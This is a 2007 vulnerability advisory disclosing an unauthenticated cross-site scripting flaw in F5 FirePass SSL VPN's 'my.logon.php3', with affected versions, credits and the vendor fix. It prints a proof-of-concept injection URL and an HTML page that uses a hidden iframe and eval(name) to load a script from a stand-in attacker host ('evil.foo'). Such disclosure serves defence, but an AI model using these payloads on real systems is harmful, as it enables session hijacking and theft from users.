OSEC

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PR07-15: Cross-site Scripting (XSS) / HTML injection on F5 FirePass 4100 SSL VPN 'my.logon.php3' server-side script

researchprocheckup.com
Date: Fri Nov 30 2007 - 05:50:04 CST


PR07-15: Cross-site Scripting (XSS) / HTML injection on F5 FirePass 4100 SSL VPN 'my.logon.php3' server-side script

Date Found: 19th June 2007

Successfully tested on: version 5.5.2

F5 Networks has confirmed the following versions to be vulnerable:

FirePass versions 5.4.1 - 5.5.2
FirePass versions 6.0 - 6.0.1

Description:

F5 Networks FirePass 4100 SSL VPN is vulnerable to XSS within the "my.logon.php3" server-side script.

No authentication is required to exploit this vulnerability.

Consequences:

An attacker may be able to cause execution of malicious scripting code in the browser of a user who visits a specially-crafted URL to an F5 Firepass device, or visits a malicious page that makes a request to such URL. Such code would run within the security context of the target domain.

This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e. admin session IDs) to unauthorised third parties.

Proof of concept (PoC) URL:

https://target.tld/my.logon.php3?"></script><textarea>HTML_injection_test</textarea><!--

The payload in the example is

"></script><textarea>HTML_injection_test</textarea><!--

which injects a 'textarea' box

The following PoC HTML page would run JavaScript without any restrictions from a third-party file ('http://www.evil.foo/b' in this case):

<html>

<iframe src="https://target.tld/my.logon.php3?%22%3E%3C/script%3E%3Cscript%3Eeval%28name%29%3C/script%3E%3C%21--" width="0%" height="0%" name="xss=document.body.appendChild(document.createElement('script'));xss.setAttribute('src','http://www.evil.foo/b')"></iframe>

</html>

Successfully tested on:

Server environment:

F5 FirePass 4100

Client environment:

Microsoft Internet Explorer 7.0.5730.11

Severity: Medium/High

Author: Richard Brain of ProCheckUp Ltd (www.procheckup.com)

With thanks to Petko D. Petkov for suggesting the eval(name) technique.

References:

http://www.procheckup.com/Vulnerability_2007.php
http://www.f5.com/products/FirePass/

ProCheckUp thanks F5 Networks for working with us.

Fix:

F5 Networks has issued SOL7923:

https://support.f5.com/kb/en-us/solutions/public/7000/900/SOL7923.html?sr=1